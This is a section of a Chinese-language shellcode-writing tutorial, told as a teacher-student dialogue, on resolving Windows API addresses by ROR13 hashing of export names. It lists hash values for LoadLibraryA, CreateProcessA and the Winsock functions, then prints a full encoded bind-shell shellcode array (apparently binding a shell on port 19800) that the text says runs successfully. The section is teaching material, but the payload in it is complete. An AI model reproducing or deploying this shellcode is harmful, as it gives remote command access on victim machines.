6.1.6 HASH法查找所函数地址

“刚才我们用了多种方法,都是先找到GetProcAddress函数的地址,然后通过它找到其他函数的地址。”

“但大家想过没有,既然我们可以获得GetProcAddress函数的地址,那当然可用同样的方法获得所有函数的地址啊!”老师问道。

“哦!是啊!GetProcAddress从Kernel32.dll的输出表中搜索;那send那些套接字函数从Ws2_32.dll的输出表中搜索就OK了!”宇强说道。

“哦,是啊,这样也挺方便的!”其他同学也说。

“嗯,而且我们可以在比较函数时再加入HASH的思想,缩短查找的代码。”

小知识:HASH

直接音译为“哈希”,也叫做 “散列”。就是把任意长度的输入,通过散列算法变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,而不可能从散列值来唯一确定输入值。

其数学表述为: h = H(M) 。其中,‘H( )’表示单向散列函数;‘M’表示任意长度明文;‘h’表示固定长度散列值。‘H()’第一要满足单向性,第二是抗冲突性,第三是映射分布均匀性和差分分布均匀性,而MD5和SHA1可以说是目前应用最广泛的Hash算法。

“我们在查找函数名时,不必用真正的函数名来比较,可以设计一个HASH,只要保证所有函数的HASH值不同,那么我们就可用HASH值来代替函数名进行查找。”

“哦!使用HASH值比用名称有什么好处呢?”PLMM问道。

“HASH值是定长的,我们可把HASH值放在一个如EAX寄存器中,直接进行比较,不用考虑函数名称的长度不同了。”

“哦,是这样啊!”

“好,我们再看一个通过HASH法查找所有函数地址再调用的例子。下面是一个别人设计的公式:”

字符[0]循环右移13位+字符[1]) 循环右移13位……+最后一个字符

“通过这个HASH公式,可得到一些函数名的HASH值,如下:”

LoadLibraryA的HASH值是EC0E4E8E

CreateProcessA的HASH值是16B3FE72

WSAStartup的HASH值是3BFCEDCB

WSASocketA的HASH值是ADF509D9

bind的HASH值是C7701AA4

listen的HASH值是E92EADA4

accept的HASH值是498649E5

closesocket的HASH值是79C679E7

“根据这种思路,我们得到BinduseHASH.cpp(光盘有收录)。”

unsigned char jeno_bindport19800_sc[] =
    "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xd9\x01\x80\x34\x0B\x99\xE2\xFA"
    "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x18\x75\x19\x99\x99\x99\x12\x6D\x71"
    "\xD5\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xFF\x98"
    "\x99\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\xCE\x98\x99"
    "\x99\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE"
    "\xEA\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A"
    "\x8F\x71\xAB\x98\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA"
    "\x71\xBA\x98\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2"
    "\x71\x8A\x98\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34"
    "\x71\x9A\x98\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x3D\x83\xE9\x5E"
    "\x71\x6A\x99\x99\x99\x10\xDF\xB9\x66\xEF\x9D\xF1\x3D\x34\xB7\x70"
    "\x71\x7A\x99\x99\x99\x10\xDF\xBD\x66\xEF\x9D\xF1\x7C\xD0\x1F\xD0"
    "\x71\x4A\x99\x99\x99\x10\xDF\xB1\x66\xEF\x9D\xF1\x7E\xE0\x5F\xE0"
    "\x71\x5A\x99\x99\x99\x10\xDF\xB5\xAA\x66\x18\x75\x09\x98\x99\x99"
    "\xCD\xF1\x98\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9"
    "\xC9\x66\xCF\x85\x12\x41\xCE\xCE\xF1\x9B\x99\xd4\xc1\x12\x55\xF3"
    "\x8F\xC8\xCA\x66\xCF\xB9\xCE\xCA\x66\xCF\xBD\xCE\xC8\xCA\x66\xCF"
    "\xB1\x12\x49\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9"
    "\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64"
    "\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD"
    "\xD1\x10\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8"
    "\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55"
    "\xF3\x66\x66\xA8\x66\xCF\x95\x12\x51\xCE\x66\xCF\xB5\x66\xCF\x8D"
    "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
    "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
    "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
    "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
    "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
    "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
    "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
    "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99";

“运行,测试,还是成功!如图6-11。”

“叮铃铃……”铃声响了。

“这是个经典代码——短小但强大。思路和前面没什么两样,只是加入HASH搜索的思想。” 老师说道,“下课了,大家利用查看ShellCode功能的两种方法跟踪进去,体会一下吧!”